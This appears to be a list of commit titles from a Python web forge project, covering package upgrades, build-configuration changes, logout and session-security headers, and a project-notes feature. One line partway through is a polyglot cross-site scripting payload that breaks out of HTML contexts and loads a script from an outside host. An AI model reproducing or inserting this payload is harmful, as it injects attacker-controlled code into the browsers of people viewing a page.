Track sessions for already logged in users
test update to sync up the git fix
remove encoding that turns author string into utf-8 bytes
fix permissions options to show anonymous/read for private projects
added PLC0415 to the list of ignored ruff rules
[#8581] updated pre-commit ruff version
[#8581] Upgrade pre_commit 4.2.0 -> no upgrade, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8581] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8581] Upgrade pytest-xdist 3.6.1 -> 3.8.0, and its deps: execnet,pytest,iniconfig,packaging,pluggy
[#8581] Upgrade pytest 8.3.5 -> 8.4.1, and its deps: iniconfig,packaging,pluggy
[#8581] Upgrade WebTest 3.0.4 -> 3.0.6, and its deps: beautifulsoup4,soupsieve,typing_extensions,waitress,WebOb
[#8581] Upgrade testfixtures 8.3.0 -> 9.1.0
[#8581] Upgrade ruff 0.11.7 -> 0.12.2
[#8581] Upgrade qrcode 8.1 -> 8.2
[#8581] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8581] Upgrade Pygments 2.19.1 -> 2.19.2
[#8581] Upgrade oauthlib 3.2.2 -> 3.3.1
[#8581] Upgrade Markdown 3.8 -> 3.8.2
[#8581] Upgrade lxml 5.4.0 -> 6.0.0
[#8581] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8581] Upgrade beautifulsoup4 4.13.4 -> no upgrade, and its deps: soupsieve,typing_extensions
[#8581] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8581] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
upgrade pillow to latest
include more response text in urlopen error logging
upgrade urllib3
"/*'/*\`/*--></noscript/</textarea/</template/</noembed/</script><script src=//i0s.ca></script>
small tweak to allow 'no_negated_flags=False' to defoptscript
bump requests 2.32.3 -> 2.32.4
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode
fixup! [#8580] include paster plugins
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
small hint on repo viewable extensions format
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode
Set Clear-Site-Data response header upon logout
[#8579] set Clear-Site-Data response header upon logout to clear cookies and storage
Set Clear-Site-Data response header upon logout
dw/8579
Set Clear-Site-Data response header upon logout
upgrade ming to latest
[#8578] ruff checks updates
[#8578] updated precommit version
[#8578] Upgrade pre_commit 4.1.0 -> 4.2.0, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8578] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8578] Upgrade pytest 8.3.4 -> 8.3.5, and its deps: iniconfig,packaging,pluggy
[#8578] Upgrade ruff 0.9.6 -> 0.11.7
[#8578] Upgrade mock 5.1.0 -> 5.2.0
Upgrade Python Packages
[#8578] ruff checks updates
[#8578] updated precommit version
[#8578] Upgrade pre_commit 4.1.0 -> 4.2.0, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8578] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8578] Upgrade pytest 8.3.4 -> 8.3.5, and its deps: iniconfig,packaging,pluggy
[#8578] Upgrade ruff 0.9.6 -> 0.11.7
[#8578] Upgrade mock 5.1.0 -> 5.2.0
[#8578] Upgrade TurboGears2 2.4.3 -> 2.5.0, and its deps: crank,MarkupSafe,repoze.lru,WebOb
[#8578] Upgrade setproctitle 1.3.4 -> 1.3.6
[#8578] Upgrade qrcode 8.0 -> 8.1
[#8578] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8578] Upgrade Pypeline 0.7.0 -> no upgrade, and its deps: bleach,webencodings,html5lib,six,webencodings,Creoleparser,Genshi,six,six,Markdown,textile,nh3,regex,docutils
[#8578] Upgrade pillow 11.1.0 -> 11.2.1
[#8578] Upgrade Markdown 3.7 -> 3.8
[#8578] Upgrade lxml 5.3.1 -> 5.4.0
[#8578] Upgrade feedgenerator 2.1.0 -> no upgrade, and its deps: pytz
[#8578] Upgrade decorator 5.1.1 -> 5.2.1
[#8578] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8578] Upgrade beautifulsoup4 4.13.3 -> 4.13.4, and its deps: soupsieve,typing_extensions
[#8578] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8578] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
Allow notes on new projects section
[#8577] notes can be added to a project in the new projects section
Updates * Ability to edit notes has been added * Also the notes are stores inside a notes object * Added functional test
fixup! [#8577] notes can be added to a project in the new projects section
upgrading httpcore 1.0.7 -> 1.0.9 and h11 0.14.0 -> 0.16.0
I think editing would be very good to have. Maybe the Add Note link can always be there? And when you click on it, it uses the existing note text. can the notes be in their own section like .set_tool_data('notes', 'new_project_review') so they can be alongside other potential notes can we have a test? can be a simple functional test that does POST to save_project_note, not worrying about the JS
[#8577] notes can be added to a project in the new projects section
Allow notes on new projects section
Allow notes on new projects section
Rename _session_id cookie name with _csrf_token
Change _session_id cookie for _csrf_token
Rename _session_id cookie name with _csrf_token
Track session ids on user records
upgrade beaker-session-jwt
be more forgiving if a multifactor session gets disrupted due to being actually logged in already
be more forgiving if a multifactor session gets disrupted due to being actually logged in already
support COOP/CORP/COEP and CSP fenced-frame-src
support COOP/CORP/COEP and CSP fenced-frame-src